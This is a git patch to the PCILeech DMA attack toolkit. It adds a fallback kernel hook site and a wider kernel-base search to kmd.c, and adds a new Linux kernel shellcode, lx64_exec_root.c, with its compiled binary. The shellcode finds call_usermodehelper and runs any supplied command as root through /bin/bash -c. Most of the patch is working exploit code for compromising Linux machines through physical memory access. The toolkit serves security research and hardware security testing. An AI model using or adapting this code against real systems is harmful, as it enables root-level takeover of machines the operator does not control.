From ef6c298692bc6a90467d6555caa533a4ac5987a3 Mon Sep 17 00:00:00 2001 From: ufrisk Date: Wed, 6 Sep 2023 23:49:59 +0200 Subject: [PATCH] Version 4.16.3 --- files/lx64_exec_root.ksh | Bin 0 -> 1360 bytes pcileech/kmd.c | 26 ++++++++++------- pcileech/version.h | 4 +-- pcileech_shellcode/lx64_exec_root.c | 42 ++++++++++++++++++++++++++++ readme.md | 3 +- 5 files changed, 62 insertions(+), 13 deletions(-) create mode 100644 files/lx64_exec_root.ksh create mode 100644 pcileech_shellcode/lx64_exec_root.c diff --git a/files/lx64_exec_root.ksh b/files/lx64_exec_root.ksh new file mode 100644 index 0000000000000000000000000000000000000000..4d443356ecc1fb9a2cd886a5bb8d022518a788b9 GIT binary patch literal 1360 zcmbtSUuaWT7|(2_Hk(x4nCwAzkdz|MUcqikTv-pzH_xT_HZ{Gs?SpMe(`y?@a>MT?)Uw^ z-}!y#erWT`)vb;Xe6{o2u9`Iu z)a-aY|28wg_!i49ud{50lusiX$Y^PYGt2FLQms~zO}&hsrF|Yzh5w@PYmEQS_yXg*=dq~X zU1GD_-QQQMtf9CQ{fW`h8?3n6#ESPnLQ18U=FD5mQMsOv#Ck} z8(G$9^C7Z8=L|af1;lS*{141c2oTa(JcXHqEI;LI#PS?`j(<$F652(yC(*8;{YJpA z(pc0!FJNKPhu?`~u{nq%HIs!^z=Yi?&4G)FMGYdVfV-WEcnb6P+{_%@$NWkk)tG>_ zPMj*>uT)U71#BXNpn#{6Yg+%?-iE!c#7n*UcmTIfwCvW)OAmf;Svl%x2^%9q&uvtv^PX( zKZ%6H8hN+lSL9xOhzxzzK_Db+a=7>1`d(J~JKygRKV*!U>lh?T(v~@4MUy0I6U#K6 z_LoE6==dXWR+l3XBH=#o0{y`^mcRPbPslNw1WC+HCZnlw;+Vv!bBd>833oi6njq;Y zGBX^*vR?~OPeLY|Oec&WX+uQEbYqi5a*}DuF>L32JYlpu8K>umH933RbGp)x@ K4UzZVobNxt3$UpG literal 0 HcmV?d00001 diff --git a/pcileech/kmd.c b/pcileech/kmd.c index c0e43f3..38eecdb 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -423,7 +423,7 @@ QWORD KMD_Linux48KernelBaseSeek() { PPAGE_STATISTICS pPageStat = NULL; BYTE pb[0x1000], pbCMPcc[0x400], pbCMP90[0x400], pbCMP00[0x100]; - QWORD qwA, qwAddrMax, i; + QWORD qwA, qwAddrMax, i, paKernelBaseLowQuality = 0; BOOL isAuthenticAMD, isGenuineIntel, isOK; memset(pbCMPcc, 0xcc, 0x400); memset(pbCMP90, 0x90, 0x400); @@ -450,6 +450,8 @@ QWORD KMD_Linux48KernelBaseSeek() if(!isGenuineIntel || !isAuthenticAMD) { continue; } + // This is a low-quality candidate, save in case we don't find a better one. + paKernelBaseLowQuality = qwA; // Verify that page ends with 0x400 NOPs (0x90) or 0x400 0xCC. if(!LcRead(ctxMain->hLC, qwA, 0x1000, pb) || (memcmp(pb + 0xc00, pbCMP90, 0x400) && memcmp(pb + 0xc00, pbCMPcc, 0x400))) { continue; @@ -465,10 +467,10 @@ QWORD KMD_Linux48KernelBaseSeek() } } PageStatClose(&pPageStat); - return 0; + return paKernelBaseLowQuality; } -#define KMD_LINUX48SEEK_MAX_BYTES 0x02000000 // 32MB +#define KMD_LINUX48SEEK_MAX_BYTES 0x03000000 // 48MB VOID KMD_Linux48KernelSeekSignature_KallsymsFromKDBGetSym(_In_reads_(KMD_LINUX48SEEK_MAX_BYTES) PBYTE pb, _In_ PKERNELSEEKER pKDBGetSym, _Inout_ PKERNELSEEKER pKallsyms) { DWORD o, aRel; @@ -495,10 +497,11 @@ BOOL KMD_Linux48KernelSeekSignature(_Out_ PSIGNATURE pSignature) PBYTE pb = NULL; QWORD paKernelBase; PPAGE_STATISTICS pPageStat = NULL; - KERNELSEEKER ks[3] = { - { .pbSeek = (PBYTE)"\0kallsyms_lookup_name",.cbSeek = 22 }, - { .pbSeek = (PBYTE)"\0vfs_read",.cbSeek = 10 }, - { .pbSeek = (PBYTE)"\0kdbgetsymval",.cbSeek = 14 } + KERNELSEEKER ks[4] = { + { .pbSeek = (PBYTE)"\0kallsyms_lookup_name",.cbSeek = 22 }, // kallsyms_lookup_name + { .pbSeek = (PBYTE)"\0vfs_read",.cbSeek = 10 }, // primary hook site + { .pbSeek = (PBYTE)"\0kdbgetsymval",.cbSeek = 14 }, // fallback kallsyms_lookup_name + { .pbSeek = (PBYTE)"\0vfs_getattr_nosec",.cbSeek = 19 }, // fallback hook site }; if(!(pb = LocalAlloc(0, KMD_LINUX48SEEK_MAX_BYTES))) { goto fail; } paKernelBase = KMD_Linux48KernelBaseSeek(); @@ -507,12 +510,15 @@ BOOL KMD_Linux48KernelSeekSignature(_Out_ PSIGNATURE pSignature) if(!PageStatInitialize(&pPageStat, paKernelBase, paKernelBase + KMD_LINUX48SEEK_MAX_BYTES, "Verifying Linux kernel base", FALSE, FALSE)) { goto fail; } PageStatUpdate(pPageStat, paKernelBase, 0, 0); DeviceReadDMA(paKernelBase, KMD_LINUX48SEEK_MAX_BYTES, pb, pPageStat); - KMD_LinuxFindFunctionAddr(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 3); - KMD_LinuxFindFunctionAddrTBL_Absolute(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 3); - KMD_LinuxFindFunctionAddrTBL_Relative(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 3); + KMD_LinuxFindFunctionAddr(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4); + KMD_LinuxFindFunctionAddrTBL_Absolute(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4); + KMD_LinuxFindFunctionAddrTBL_Relative(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4); if(!ks[0].vaFn && ks[2].vaFn) { // kdbgetsymval exists; but not kallsyms_lookup_name not located KMD_Linux48KernelSeekSignature_KallsymsFromKDBGetSym(pb, &ks[2], &ks[0]); } + if(!ks[1].vaFn && ks[3].vaFn) { + memcpy(&ks[1], &ks[3], sizeof(KERNELSEEKER)); + } if(ks[0].vaFn && ks[1].vaFn) { Util_CreateSignatureLinuxGeneric(paKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].aSeek, ks[1].vaSeek, ks[1].vaFn, pSignature); result = TRUE; diff --git a/pcileech/version.h b/pcileech/version.h index 09d992f..c5eb33e 100644 --- a/pcileech/version.h +++ b/pcileech/version.h @@ -3,8 +3,8 @@ #define VERSION_MAJOR 4 #define VERSION_MINOR 16 -#define VERSION_REVISION 2 -#define VERSION_BUILD 39 +#define VERSION_REVISION 3 +#define VERSION_BUILD 40 #define VER_FILE_DESCRIPTION_STR "The PCILeech Direct Memory Access Attack Toolkit" #define VER_FILE_VERSION VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD diff --git a/pcileech_shellcode/lx64_exec_root.c b/pcileech_shellcode/lx64_exec_root.c new file mode 100644 index 0000000..e6d2633 --- /dev/null +++ b/pcileech_shellcode/lx64_exec_root.c @@ -0,0 +1,42 @@ +// lx64_exec_root.c : execute user-mode command from kernel +// +// compile with: +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_exec_root.c +// ml64 lx64_common_a.asm /Felx64_exec_root.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_exec_root.obj lx64_common.obj +// shellcode64.exe -o lx64_exec_root.exe "EXECUTE A COMMAND AS ROOT \nLINUX X64 EDITION \n===============================================================\nExecute a program as root. \nREQUIRED OPTIONS: \n -s : command to execute including parameters \n Example: '-s touch /tmp/testfile.txt' \n===== EXECUTION ATTEMPT DETAILED RESULT INFORMATION ===========\nEXECUTE AS ROOT RESULT: %s\nRESULT CODE : 0x%08X\n===============================================================" +// + +#include "lx64_common.h" + +typedef struct tdFN2 { + QWORD call_usermodehelper; +} FN2, *PFN2; + + +BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { + QWORD NAMES[1]; + CHAR str_call_usermodehelper[] = { 'c', 'a', 'l', 'l', '_', 'u', 's', 'e', 'r', 'm', 'o', 'd', 'e', 'h', 'e', 'l', 'p', 'e', 'r', 0 }; + NAMES[0] = (QWORD)str_call_usermodehelper; + return LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, sizeof(NAMES) / sizeof(QWORD)); +} + +VOID c_EntryPoint(PKMDDATA pk) +{ + FN2 fn2; + CHAR str_cmd[] = { '/', 'b', 'i', 'n', '/', 'b', 'a', 's', 'h', 0 }; + CHAR str_arg1[] = { '-', 'c', 0 }; + char* argv[4] = { str_cmd, str_arg1, pk->dataInStr, NULL }; + + CHAR e0[] = { 'H', 'O', 'M', 'E', '=', '/', 0 }; + CHAR e1[] = { 'T', 'E', 'R', 'M', '=', 'l', 'i', 'n', 'u', 'x', 0 }; + CHAR e2[] = { 'P', 'A', 'T', 'H', '=', '/', 'b', 'i', 'n', ':', '/', 's', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 's', 'b', 'i', 'n', 0 }; + char* envp[4] = { e0, e1, e2, NULL }; + + if (!LookupFunctions2(pk, &fn2)) { + pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; + return; + } + + pk->dataOut[0] = SysVCall(fn2.call_usermodehelper, argv[0], argv, envp, 2); +} \ No newline at end of file diff --git a/readme.md b/readme.md index 582e832..5cc6ea3 100644 --- a/readme.md +++ b/readme.md @@ -289,4 +289,5 @@ v4.1 Latest: * I/O BAR support. -* Linux KMD signature update (LINUX_X64_48) to support kernel 5.15. +* Linux KMD signature update (LINUX_X64_48) to support latest Ubuntu kernels. +* New linux kernel module: lx64_exec_root.